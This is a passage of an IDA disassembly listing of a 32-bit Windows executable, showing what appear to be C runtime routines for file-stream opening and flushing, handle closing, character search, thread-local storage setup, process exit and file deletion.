		cmp	word ptr [eax],	0
		jnz	short loc_449A88
		mov	esi, off_411370[ebx*4]
		mov	word ptr [esi],	0FF7Fh
		jmp	short loc_449A91
; ---------------------------------------------------------------------------


loc_449A88:				; CODE XREF: sub_449A41+37j
		inc	ebx
		cmp	ebx, 100h
		jb	short loc_449A47


loc_449A91:				; CODE XREF: sub_449A41+1Cj
					; sub_449A41+2Aj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_449A41	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449AA1	proc near		; CODE XREF: sub_448281+45p

var_8		= dword	ptr -8
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jnz	short loc_449AB8
		xor	eax, eax
		jmp	loc_449BDC
; ---------------------------------------------------------------------------


loc_449AB8:				; CODE XREF: sub_449AA1+Ej
		mov	ax, [ebx]
		and	ax, 80h
		mov	[ebp+var_2], ax
		mov	edi, ebx
		mov	esi, offset dword_40FAE8
		mov	ecx, 13h
		rep movsd
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		lea	eax, [ebx+48h]
		mov	[ebx+10h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+14h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+2Ch], eax
		lea	eax, [ebx+48h]
		mov	[ebx+18h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+30h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+1Ch], eax
		lea	eax, [ebx+28h]
		mov	[ebx+20h], eax
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	72h
		jnz	short loc_449B12
		mov	[ebp+var_8], 1
		jmp	short loc_449B39
; ---------------------------------------------------------------------------


loc_449B12:				; CODE XREF: sub_449AA1+66j
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	77h
		jnz	short loc_449B23
		mov	[ebp+var_8], 1Ah
		jmp	short loc_449B36
; ---------------------------------------------------------------------------


loc_449B23:				; CODE XREF: sub_449AA1+77j
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	61h
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 16h
		mov	[ebp+var_8], eax


loc_449B36:				; CODE XREF: sub_449AA1+80j
		mov	eax, [ebp+var_8]


loc_449B39:				; CODE XREF: sub_449AA1+6Fj
		movzx	eax, [ebp+var_2]
		or	eax, [ebp+var_8]
		mov	[ebx], ax
		test	word ptr [ebx],	3
		jnz	short loc_449B7C
		push	ebx
		call	sub_4484E1
		pop	ecx
		xor	eax, eax
		jmp	loc_449BDC
; ---------------------------------------------------------------------------


loc_449B58:				; CODE XREF: sub_449AA1+E5j
					; sub_449AA1+EDj
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	62h
		jnz	short loc_449B6D
		test	word ptr [ebx],	20h
		jnz	short loc_449B90
		or	word ptr [ebx],	20h
		jmp	short loc_449B7C
; ---------------------------------------------------------------------------


loc_449B6D:				; CODE XREF: sub_449AA1+BDj
		movzx	eax, word ptr [ebx]
		and	eax, 3
		cmp	eax, 3
		jz	short loc_449B90
		or	word ptr [ebx],	3


loc_449B7C:				; CODE XREF: sub_449AA1+A7j
					; sub_449AA1+CAj
		mov	eax, [ebp+arg_4]
		inc	eax
		mov	[ebp+arg_4], eax
		cmp	byte ptr [eax],	62h
		jz	short loc_449B58
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	2Bh
		jz	short loc_449B58


loc_449B90:				; CODE XREF: sub_449AA1+C4j
					; sub_449AA1+D5j
		cmp	[ebp+arg_0], 0
		jz	short loc_449BBE
		mov	eax, [ebp+arg_4]
		push	eax
		movzx	eax, word ptr [ebx]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44B561
		add	esp, 0Ch
		mov	[ebx+4], eax
		cmp	dword ptr [ebx+4], 0
		jge	short loc_449BD5
		push	ebx
		call	sub_4484E1
		pop	ecx
		xor	eax, eax
		jmp	short loc_449BDC
; ---------------------------------------------------------------------------


loc_449BBE:				; CODE XREF: sub_449AA1+F3j
		cmp	[ebp+arg_C], 0
		jge	short loc_449BCF
		push	ebx
		call	sub_4484E1
		pop	ecx
		xor	eax, eax
		jmp	short loc_449BDC
; ---------------------------------------------------------------------------


loc_449BCF:				; CODE XREF: sub_449AA1+121j
		mov	eax, [ebp+arg_C]
		mov	[ebx+4], eax


loc_449BD5:				; CODE XREF: sub_449AA1+110j
		call	sub_448381
		mov	eax, ebx


loc_449BDC:				; CODE XREF: sub_449AA1+12j
					; sub_449AA1+B2j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_449AA1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449BF1	proc near		; CODE XREF: sub_448381+4Dp

arg_0		= dword	ptr  4

		mov	eax, dword_4111A4
		cmp	dword_4111A0, eax
		ja	short loc_449C05
		call	sub_44B5D1
		jmp	short locret_449C1E
; ---------------------------------------------------------------------------


loc_449C05:				; CODE XREF: sub_449BF1+Bj
		mov	eax, dword_4111A4
		lea	edx, [eax+1]
		mov	dword_4111A4, edx
		mov	edx, [esp+arg_0]
		mov	dword_411060[eax*4], edx

locret_449C1E:				; CODE XREF: sub_449BF1+12j
		retn
sub_449BF1	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449C21	proc near		; CODE XREF: sub_448401+8p
					; sub_4486E1+D0p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jnz	short loc_449C7F
		push	6
		call	sub_4496C1
		pop	ecx
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		jmp	short loc_449C69
; ---------------------------------------------------------------------------


loc_449C49:				; CODE XREF: sub_449C21+4Fj
		mov	eax, [ebp+var_4]
		mov	eax, off_411370[eax*4]
		test	eax, eax
		jz	short loc_449C66
		push	eax
		call	sub_449C21
		pop	ecx
		test	eax, eax
		jge	short loc_449C66
		or	[ebp+var_8], 0FFFFFFFFh


loc_449C66:				; CODE XREF: sub_449C21+34j
					; sub_449C21+3Fj
		inc	[ebp+var_4]


loc_449C69:				; CODE XREF: sub_449C21+26j
		cmp	[ebp+var_4], 100h
		jl	short loc_449C49
		push	6
		call	sub_449741
		pop	ecx
		mov	eax, [ebp+var_8]
		jmp	short loc_449CF1
; ---------------------------------------------------------------------------


loc_449C7F:				; CODE XREF: sub_449C21+Ej
		test	word ptr [ebx],	2000h
		jnz	short loc_449C8A
		xor	eax, eax
		jmp	short loc_449CF1
; ---------------------------------------------------------------------------


loc_449C8A:				; CODE XREF: sub_449C21+63j
		mov	esi, [ebx+8]
		jmp	short loc_449CC6
; ---------------------------------------------------------------------------


loc_449C8F:				; CODE XREF: sub_449C21+A8j
		mov	eax, [ebx+10h]
		sub	eax, esi
		push	eax
		push	esi
		mov	eax, [ebx+4]
		push	eax
		call	sub_44B7E1
		add	esp, 0Ch
		mov	edi, eax
		test	edi, edi
		jg	short loc_449CC4
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		mov	[ebx+18h], eax
		mov	eax, [ebx+8]
		mov	[ebx+30h], eax
		or	word ptr [ebx],	200h
		or	eax, 0FFFFFFFFh
		jmp	short loc_449CF1
; ---------------------------------------------------------------------------


loc_449CC4:				; CODE XREF: sub_449C21+85j
		add	esi, edi


loc_449CC6:				; CODE XREF: sub_449C21+6Cj
		cmp	esi, [ebx+10h]
		jb	short loc_449C8F
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		test	word ptr [ebx],	0C00h
		jz	short loc_449CDD
		mov	esi, [ebx+8]
		jmp	short loc_449CE0
; ---------------------------------------------------------------------------


loc_449CDD:				; CODE XREF: sub_449C21+B5j
		mov	esi, [ebx+0Ch]


loc_449CE0:				; CODE XREF: sub_449C21+BAj
		test	word ptr [ebx],	4000h
		jz	short loc_449CEC
		mov	[ebx+18h], esi
		jmp	short loc_449CEF
; ---------------------------------------------------------------------------


loc_449CEC:				; CODE XREF: sub_449C21+C4j
		mov	[ebx+30h], esi


loc_449CEF:				; CODE XREF: sub_449C21+C9j
		xor	eax, eax


loc_449CF1:				; CODE XREF: sub_449C21+5Cj
					; sub_449C21+67j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_449C21	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449D01	proc near		; CODE XREF: sub_449DA1+41p
					; sub_44C861+328p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	sub_44BAE1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_449D50
		cmp	ebx, 1
		jz	short loc_449D24
		cmp	ebx, 2
		jnz	short loc_449D3E


loc_449D24:				; CODE XREF: sub_449D01+1Cj
		push	1
		call	sub_44BAE1
		pop	ecx
		mov	[ebp+var_4], eax
		push	2
		call	sub_44BAE1
		pop	ecx
		mov	edx, [ebp+var_4]
		cmp	edx, eax
		jz	short loc_449D50


loc_449D3E:				; CODE XREF: sub_449D01+21j
		push	ebx
		call	sub_44BAE1
		pop	ecx
		push	eax
		call	dword_411CF8	; CloseHandle
		test	eax, eax
		jz	short loc_449D54


loc_449D50:				; CODE XREF: sub_449D01+17j
					; sub_449D01+3Bj
		xor	esi, esi
		jmp	short loc_449D5C
; ---------------------------------------------------------------------------


loc_449D54:				; CODE XREF: sub_449D01+4Dj
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	esi, eax


loc_449D5C:				; CODE XREF: sub_449D01+51j
		push	ebx
		call	sub_44B991
		pop	ecx
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	byte ptr [edx+eax+4], 0
		test	esi, esi
		jz	short loc_449D8C
		push	esi
		call	sub_4491C1
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_449D8E
; ---------------------------------------------------------------------------


loc_449D8C:				; CODE XREF: sub_449D01+7Dj
		xor	eax, eax


loc_449D8E:				; CODE XREF: sub_449D01+89j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_449D01	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449DA1	proc near		; CODE XREF: sub_448401+30p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		cmp	ebx, dword_413A88
		jnb	short loc_449DCA
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_449DDA


loc_449DCA:				; CODE XREF: sub_449DA1+Cj
		call	sub_449321
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_449DF3
; ---------------------------------------------------------------------------


loc_449DDA:				; CODE XREF: sub_449DA1+27j
		push	ebx
		call	sub_44BC01
		pop	ecx
		push	ebx
		call	sub_449D01
		pop	ecx
		mov	esi, eax
		push	ebx
		call	sub_44BC61
		pop	ecx
		mov	eax, esi


loc_449DF3:				; CODE XREF: sub_449DA1+37j
		pop	esi
		pop	ebx
		retn
sub_449DA1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449E01	proc near		; CODE XREF: sub_448641+39p
					; sub_449761+102p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	eax, [esp+arg_4]
		mov	dl, al
		jmp	short loc_449E16
; ---------------------------------------------------------------------------


loc_449E0D:				; CODE XREF: sub_449E01+17j
		cmp	byte ptr [ecx],	0
		jnz	short loc_449E15
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_449E15:				; CODE XREF: sub_449E01+Fj
		inc	ecx


loc_449E16:				; CODE XREF: sub_449E01+Aj
		cmp	[ecx], dl
		jnz	short loc_449E0D
		mov	eax, ecx
		retn
sub_449E01	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449E21	proc near		; CODE XREF: sub_4486E1+3Dp
					; sub_44DD81+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+18h]
		cmp	eax, [ebx+10h]
		jbe	short loc_449E3A
		xor	eax, eax
		jmp	loc_449F13
; ---------------------------------------------------------------------------


loc_449E3A:				; CODE XREF: sub_449E21+10j
		movzx	eax, word ptr [ebx]
		and	eax, 9002h
		cmp	eax, 2
		jz	short loc_449E76
		movzx	eax, word ptr [ebx]
		mov	[ebp+var_4], eax
		test	eax, 8000h
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 4000h
		add	eax, 200h
		mov	edx, [ebp+var_4]
		or	edx, eax
		mov	ax, dx
		mov	[ebx], ax
		or	eax, 0FFFFFFFFh
		jmp	loc_449F13
; ---------------------------------------------------------------------------


loc_449E76:				; CODE XREF: sub_449E21+24j
		movzx	eax, word ptr [ebx]
		and	eax, 6000h
		cmp	eax, 6000h
		jnz	short loc_449E9D
		mov	eax, [ebx+0Ch]
		cmp	eax, [ebx+10h]
		ja	short loc_449E9D
		push	ebx
		call	sub_449C21
		pop	ecx
		test	eax, eax
		jz	short loc_449E9D
		or	eax, 0FFFFFFFFh
		jmp	short loc_449F13
; ---------------------------------------------------------------------------


loc_449E9D:				; CODE XREF: sub_449E21+62j
					; sub_449E21+6Aj ...
		test	word ptr [ebx],	0C00h
		jnz	short loc_449EAC
		lea	eax, [ebx+48h]
		cmp	eax, [ebx+8]
		jz	short loc_449EAE


loc_449EAC:				; CODE XREF: sub_449E21+81j
		jmp	short loc_449F00
; ---------------------------------------------------------------------------


loc_449EAE:				; CODE XREF: sub_449E21+89j
		push	200h
		call	sub_449121
		pop	ecx
		mov	[ebx+8], eax
		test	eax, eax
		jnz	short loc_449EDA
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		inc	eax
		mov	[ebx+0Ch], eax
		call	sub_448381
		jmp	short loc_449F00
; ---------------------------------------------------------------------------


loc_449EDA:				; CODE XREF: sub_449E21+9Dj
		or	word ptr [ebx],	40h
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		add	eax, 200h
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+8]
		mov	[ebx+2Ch], eax
		mov	eax, [ebx+8]
		mov	[ebx+30h], eax
		call	sub_448381


loc_449F00:				; CODE XREF: sub_449E21:loc_449EACj
					; sub_449E21+B7j
		mov	eax, [ebx+8]
		mov	[ebx+14h], eax
		mov	eax, [ebx+0Ch]
		mov	[ebx+18h], eax
		or	word ptr [ebx],	6000h
		xor	eax, eax


loc_449F13:				; CODE XREF: sub_449E21+14j
					; sub_449E21+50j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_449E21	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449F21	proc near		; CODE XREF: sub_4486E1+59p
					; sub_44ABB1+696p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		mov	bl, al
		mov	edx, [esp+4+arg_0]
		jmp	short loc_449F3C
; ---------------------------------------------------------------------------


loc_449F32:				; CODE XREF: sub_449F21+1Dj
		cmp	[edx], bl
		jnz	short loc_449F3A
		mov	eax, edx
		jmp	short loc_449F42
; ---------------------------------------------------------------------------


loc_449F3A:				; CODE XREF: sub_449F21+13j
		inc	edx
		dec	ecx


loc_449F3C:				; CODE XREF: sub_449F21+Fj
		test	ecx, ecx
		jnz	short loc_449F32
		xor	eax, eax


loc_449F42:				; CODE XREF: sub_449F21+17j
		pop	ebx
		retn
sub_449F21	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449F51	proc near		; CODE XREF: DMN1:loc_448A68p
		push	ebx
		call	sub_449621
		call	dword_411DD4	; TlsAlloc
		mov	dword_411770, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_449F6D
		xor	eax, eax
		jmp	short loc_449FA8
; ---------------------------------------------------------------------------


loc_449F6D:				; CODE XREF: sub_449F51+16j
		push	48h
		call	sub_449121
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_449F8C
		push	ebx
		mov	eax, dword_411770
		push	eax
		call	dword_411D98	; TlsSetValue
		test	eax, eax
		jnz	short loc_449F90


loc_449F8C:				; CODE XREF: sub_449F51+28j
		xor	eax, eax
		jmp	short loc_449FA8
; ---------------------------------------------------------------------------


loc_449F90:				; CODE XREF: sub_449F51+39j
		push	ebx
		call	sub_449FE1
		pop	ecx
		call	dword_411DD8	; GetCurrentThreadId
		mov	[ebx], eax
		or	dword ptr [ebx+4], 0FFFFFFFFh
		mov	eax, 1


loc_449FA8:				; CODE XREF: sub_449F51+1Aj
					; sub_449F51+3Dj
		pop	ebx
		retn
sub_449F51	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		call	sub_449661
		cmp	dword_411770, 0FFFFFFFFh
		jz	short locret_449FD5
		mov	eax, dword_411770
		push	eax
		call	dword_411DDC	; TlsFree
		or	dword_411770, 0FFFFFFFFh

locret_449FD5:				; CODE XREF: DMN1:00449FC0j
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449FE1	proc near		; CODE XREF: sub_448891+17p
					; sub_449F51+40p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		mov	edx, ebx
		mov	ecx, 48h
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx
		mov	dword ptr [ebx+34h], offset dword_4117E4
		mov	dword ptr [ebx+10h], 1
		pop	ebx
		retn
sub_449FE1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44A011	proc near		; CODE XREF: sub_448921+1p sub_449321p ...
		push	ebx
		push	esi
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	esi, eax
		mov	eax, dword_411770
		push	eax
		call	dword_411DE0	; TlsGetValue
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_44A069
		push	48h
		call	sub_449121
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44A061
		push	ebx
		mov	eax, dword_411770
		push	eax
		call	dword_411D98	; TlsSetValue
		test	eax, eax
		jz	short loc_44A061
		push	ebx
		call	sub_449FE1
		pop	ecx
		call	dword_411DD8	; GetCurrentThreadId
		mov	[ebx], eax
		or	dword ptr [ebx+4], 0FFFFFFFFh
		jmp	short loc_44A069
; ---------------------------------------------------------------------------


loc_44A061:				; CODE XREF: sub_44A011+28j
					; sub_44A011+39j
		push	1
		call	sub_44A111
		pop	ecx


loc_44A069:				; CODE XREF: sub_44A011+1Aj
					; sub_44A011+4Ej
		push	esi
		call	dword_411D14	; RtlRestoreLastWin32Error
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_44A011	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44A081	proc near		; CODE XREF: sub_448921+28p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	dword_411770, 0FFFFFFFFh
		jz	short loc_44A10D
		test	ebx, ebx
		jnz	short loc_44A0A4
		mov	eax, dword_411770
		push	eax
		call	dword_411DE0	; TlsGetValue
		mov	ebx, eax


loc_44A0A4:				; CODE XREF: sub_44A081+13j
		test	ebx, ebx
		jz	short loc_44A0FF
		mov	eax, [ebx+20h]
		push	eax
		call	sub_448071
		pop	ecx
		mov	eax, [ebx+24h]
		push	eax
		call	sub_448071
		pop	ecx
		mov	eax, [ebx+28h]
		push	eax
		call	sub_448071
		pop	ecx
		mov	eax, [ebx+2Ch]
		push	eax
		call	sub_448071
		pop	ecx
		mov	eax, [ebx+30h]
		push	eax
		call	sub_448071
		pop	ecx
		mov	eax, [ebx+34h]
		cmp	eax, offset dword_4117E4
		jz	short loc_44A0EE
		mov	eax, [ebx+34h]
		push	eax
		call	sub_448071
		pop	ecx


loc_44A0EE:				; CODE XREF: sub_44A081+61j
		mov	eax, [ebx+3Ch]
		push	eax
		call	sub_448071
		pop	ecx
		push	ebx
		call	sub_448071
		pop	ecx


loc_44A0FF:				; CODE XREF: sub_44A081+25j
		push	0
		mov	eax, dword_411770
		push	eax
		call	dword_411D98	; TlsSetValue


loc_44A10D:				; CODE XREF: sub_44A081+Fj
		pop	ebx
		retn
sub_44A081	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================



sub_44A111	proc near		; CODE XREF: DMN1:0044882Dp
					; DMN1:0044886Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	dword_411D30	; ExitProcess
		retn
sub_44A111	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================



sub_44A121	proc near		; CODE XREF: DMN1:0044885Bp
					; DMN1:00448B18p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	esi, offset dword_411774
		jmp	short loc_44A173
; ---------------------------------------------------------------------------


loc_44A12F:				; CODE XREF: sub_44A121+58j
		cmp	[esi], ebx
		jnz	short loc_44A170
		push	1
		mov	eax, [esi+4]
		push	eax
		call	sub_44BCD1
		add	esp, 8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_44A14F
		test	edi, edi
		jnz	short loc_44A151


loc_44A14F:				; CODE XREF: sub_44A121+28j
		jmp	short loc_44A17B
; ---------------------------------------------------------------------------


loc_44A151:				; CODE XREF: sub_44A121+2Cj
		cmp	edi, 1
		jz	short loc_44A16B
		push	0
		mov	eax, [esi+4]
		push	eax
		call	sub_44BCD1
		add	esp, 8
		mov	eax, [esi+4]
		push	eax
		call	edi
		pop	ecx


loc_44A16B:				; CODE XREF: sub_44A121+33j
		or	eax, 0FFFFFFFFh
		jmp	short loc_44A186
; ---------------------------------------------------------------------------


loc_44A170:				; CODE XREF: sub_44A121+10j
		add	esi, 8


loc_44A173:				; CODE XREF: sub_44A121+Cj
		cmp	esi, offset dword_4117C4
		jb	short loc_44A12F


loc_44A17B:				; CODE XREF: sub_44A121:loc_44A14Fj
		mov	eax, [esp+0Ch+arg_4]
		push	eax
		call	dword_411DE4	; UnhandledExceptionFilter


loc_44A186:				; CODE XREF: sub_44A121+4Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_44A121	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44A191	proc near		; CODE XREF: sub_448A11+5p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	dword_411D18	; DeleteFileA
		test	eax, eax
		jnz	short loc_44A1B1
		call	dword_411CE8	; RtlGetLastWin32Error
		push	eax
		call	sub_4491C1
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_44A1B1:				; CODE XREF: sub_44A191+Dj
		xor	eax, eax
		retn
sub_44A191	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44A1C1	proc near		; CODE XREF: DMN1:00448A80p
		push	offset dword_412854
		call	dword_411DE8	; GetSystemTimeAsFileTime
		retn
sub_44A1C1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		lea	eax, [ebp-8]
		push	eax
		call	dword_411DE8	; GetSystemTimeAsFileTime
		mov	eax, [ebp-8]
		mov	edx, [ebp-4]
		mov	ecx, dword_412854
		mov	ebx, dword_412858
		sub	eax, ecx
		sbb	edx, ebx
		mov	[ebp-8], eax
		mov	[ebp-4], edx
		mov	eax, [ebp-8]
		mov	edx, [ebp-4]
		push	edx
		push	eax
		push	0
		push	2710h
		call	sub_44BDC1
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44A221	proc near		; CODE XREF: DMN1:00448A85p

var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		push	480h
		call	sub_449121
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_44A243
		push	1
		call	sub_44A111
		pop	ecx


loc_44A243:				; CODE XREF: sub_44A221+18j
		mov	dword_413988, ebx
		mov	dword_413A88, 20h
		jmp	short loc_44A26D
; ---------------------------------------------------------------------------


loc_44A255:				; CODE XREF: sub_44A221+58j
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_44A26D:				; CODE XREF: sub_44A221+32j
		mov	eax, dword_413988
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_44A255
		lea	eax, [ebp+var_58]
		push	eax
		call	dword_411DA8	; GetStartupInfoA
		cmp	[ebp+var_26], 0
		jz	loc_44A393
		cmp	[ebp+var_24], 0
		jz	loc_44A393
		mov	eax, [ebp+var_24]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_24]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_4]
		add	edx, eax
		mov	[ebp+var_8], edx
		cmp	eax, 800h
		jle	short loc_44A2C4
		mov	[ebp+var_10], 800h


loc_44A2C4:				; CODE XREF: sub_44A221+9Aj
		mov	esi, 1
		jmp	short loc_44A31F
; ---------------------------------------------------------------------------


loc_44A2CB:				; CODE XREF: sub_44A221+107j
		push	480h
		call	sub_449121
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_44A2E6
		mov	eax, dword_413A88
		mov	[ebp+var_10], eax
		jmp	short loc_44A32A
; ---------------------------------------------------------------------------


loc_44A2E6:				; CODE XREF: sub_44A221+B9j
		mov	dword_413988[esi*4], ebx
		add	dword_413A88, 20h
		jmp	short loc_44A30E
; ---------------------------------------------------------------------------


loc_44A2F6:				; CODE XREF: sub_44A221+FBj
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_44A30E:				; CODE XREF: sub_44A221+D3j
		mov	eax, dword_413988[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_44A2F6
		inc	esi


loc_44A31F:				; CODE XREF: sub_44A221+A8j
		mov	eax, [ebp+var_10]
		cmp	dword_413A88, eax
		jl	short loc_44A2CB


loc_44A32A:				; CODE XREF: sub_44A221+C3j
		xor	edi, edi
		jmp	short loc_44A38E
; ---------------------------------------------------------------------------


loc_44A32E:				; CODE XREF: sub_44A221+170j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_44A381
